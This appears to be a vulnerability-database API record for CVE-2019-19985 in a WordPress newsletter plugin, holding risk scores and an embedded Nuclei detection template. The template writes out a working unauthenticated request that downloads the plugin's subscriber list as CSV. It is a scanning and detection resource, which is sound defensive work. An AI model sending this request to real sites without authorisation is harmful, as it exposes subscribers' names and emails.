{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2019-19985/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2019-19985/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2019-19985/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2019-19985/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2019-19985/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2019-19985/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2019-19985"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2019-19985"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.71399,"kev":false,"percentile":0.99416},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2019/CVE-2019-19985.yaml","nuclei_template_severity":"medium","nuclei_template_yaml":"id: CVE-2019-19985\n\ninfo:\n  name: WordPress Email Subscribers & Newsletters <4.2.3 - Arbitrary File Retrieval\n  author: KBA@SOGETI_ESEC,madrobot,dwisiswant0\n  severity: medium\n  description: WordPress Email Subscribers & Newsletters plugin before 4.2.3 is susceptible to arbitrary file retrieval via a flaw that allows unauthenticated file download and user information disclosure. An attacker can  obtain sensitive information, modify data, and/or execute unauthorized administrative operations.\n  impact: |\n    An attacker can access sensitive files on the server, potentially leading to unauthorized access or data leakage.\n  remediation: |\n    Update to the latest version of WordPress Email Subscribers & Newsletters plugin (4.2.3) or apply the patch provided by the vendor.\n  reference:\n    - https://www.exploit-db.com/exploits/48698\n    - https://wpvulndb.com/vulnerabilities/9946\n    - https://www.wordfence.com/blog/2019/11/multiple-vulnerabilities-patched-in-email-subscribers-newsletters-plugin/\n    - http://packetstormsecurity.com/files/158563/WordPress-Email-Subscribers-And-Newsletters-4.2.2-File-Disclosure.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2019-19985\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n    cvss-score: 5.3\n    cve-id: CVE-2019-19985\n    cwe-id: CWE-862\n    epss-score: 0.71399\n    epss-percentile: 0.99416\n    cpe: cpe:2.3:a:icegram:email_subscribers_\\&_newsletters:*:*:*:*:*:wordpress:*:*\n  metadata:\n    max-request: 1\n    vendor: icegram\n    product: email_subscribers_\\&_newsletters\n    framework: wordpress\n  tags: cve,cve2019,wordpress,wp-plugin,edb,packetstorm,icegram,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-admin/admin.php?page=download_report&report=users&status=all\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - Name\n          - Email\n          - Status\n          - Created On\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - \"Content-Disposition: attachment; filename=all-contacts.csv;\"\n\n      - type: status\n        status:\n          - 200\n# digest: 490a00463044022026feecafa48a423f5638099b58713cf4ace490c2d769d807842f57ffeeea841b02200c07fcd5a675221d4efce9afdfe99e16a98b13e10f17fdf811d4543643f8c8d4:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2019-19985"}